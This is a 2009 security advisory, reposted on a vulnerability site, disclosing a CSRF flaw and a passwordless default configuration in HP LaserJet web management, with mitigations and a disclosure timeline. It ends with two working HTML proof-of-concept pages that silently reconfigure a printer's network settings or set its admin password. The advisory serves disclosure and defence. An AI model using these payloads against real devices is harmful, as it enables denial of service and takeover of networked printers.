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securityvulnsSecurityvulnsSECURITYVULNS:DOC:21490
HistoryMar 17, 2009 - 12:00 a.m.

HP Laserjet multiple models web management CSRF vulnerability & insecure default configuration

2009-03-1700:00:00
vulners.com
19
                       Louhi Networks Oy
                    -= Security Advisory =-


   Advisory: HP LaserJet multiple models web management CSRF
             vulnerability & insecure default configuration

Release Date: 2009-03-17
Last Modified: 2009-03-17
Authors: Henri Lindberg, CISA
[henri d0t lindberg at louhi d0t fi]

Application: HP Embedded Web Server
    Devices: HP LaserJet M1522n MFP,
             HP Color LaserJet 2605dtn
             possibly other HP products

Attack type : CSRF
Risk: Low
Vendor Status: Issue documented in a customer notice
References: http://www.louhinetworks.fi/advisory/HP_20090317.txt

http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c01684566

Overview:

 Quote from http://www.hp.com:

 "Increase effectiveness and productivity with an easy-to-use
  high-performance HP MFP. HP spherical toner and an intelligent
  cartridge optimise print quality and reliability. Do more with
  fast, high-quality print, copy, scan and fax functionality.

  This affordable HP MFP delivers print, copy, scan and fax
  functionality. Hi-Speed USB 2.0 connectivity and fast,
  secure networking enable you to  easily share this device.
  Handle complex files with a 450 MHz processor and memory up to
  64 MB."

Details:

  Default configuration for the device does not require user to
  define password for configuration changes.

  Insecure out-of-the-box configuration combined with CSRF
  vulnerability in web management interface allows attacker to
  perform unwanted configuration changes through user's browser.

  Successful exploitation requires:
  1) Out-of-the-box configuration (no management password)
  2) Internal user with access to web management interface
  3) Knowledge of target printer's DNS name or IP address
  4) Ability to lure internal user to a malicious website or
     ability to inject malicious HTML/javascript to website
     frequented by said internal user.

  Simplest management interfaces contains few interesting
  features, most significant impact can be achieved with invalid
  network configuration. This results in denial-of-service
  condition, requiring manual reconfiguration in order to
  restore network connectivity.

  More advanced management interfaces based on the some software
  may contain additional features suitable for exploitation.
  It is recommended to check the features of management interface
  in order to determine the actual risk for the used product.

Mitigation:

  1) Set administrator password
  2) Do not browse untrusted sites while logged on to the
     management interface

Advisory timeline:
2009-02-17 Contacted vendor through e-mail.
2009-02-17 Vendor response.
2009-03-12 Vendor decides not to patch but to release
a customer notice
2009-03-17 Coordinated release of information
Vendor's customer notice:
HP Security Notice HPSN-2009-001 rev.1
HP LaserJet Printers, HP Edgeline Printers,
and HP Digital Senders - Unverified Input

Proof of Concept:

<html>
<head><title>Network</title></head>
<body onload="document.CSRF.submit();">
<FORM name="CSRF" method="post"
ACTION="http://1.2.3.4/hp/device/config_result_YesNo.html/config&quot;;
style="display:none">
<input name="Clear" value="Yes">
<input name="Menu" value="NetIPChange">
<input name="Configuration"
value="IPConfig=Man&amp;IPAddr=1.1.1.1&amp;SN=2.2.2.2&amp;GW=3.3.3.3&amp;WINS=0.0.0.0">
</form>
</body>
</html>

Invalid value for "Configuration" parameter sets IP, mask and gw to
255.255.255.255

<html>
<head><title>Set password</title></head>
<body onload="document.CSRF.submit()">
<FORM name="CSRF" method="post"
ACTION="http://1.2.3.4/hp/device/set_config_password.html/config&quot;;
style="display:none">
<INPUT type="password" name="Password" MAXLENGTH="16" VALUE="evil">
<INPUT type="password" name="ConfirmPassword" MAXLENGTH="16" VALUE="evil">
<INPUT type="hidden" VALUE="System">
</FORM>
</body>
<html>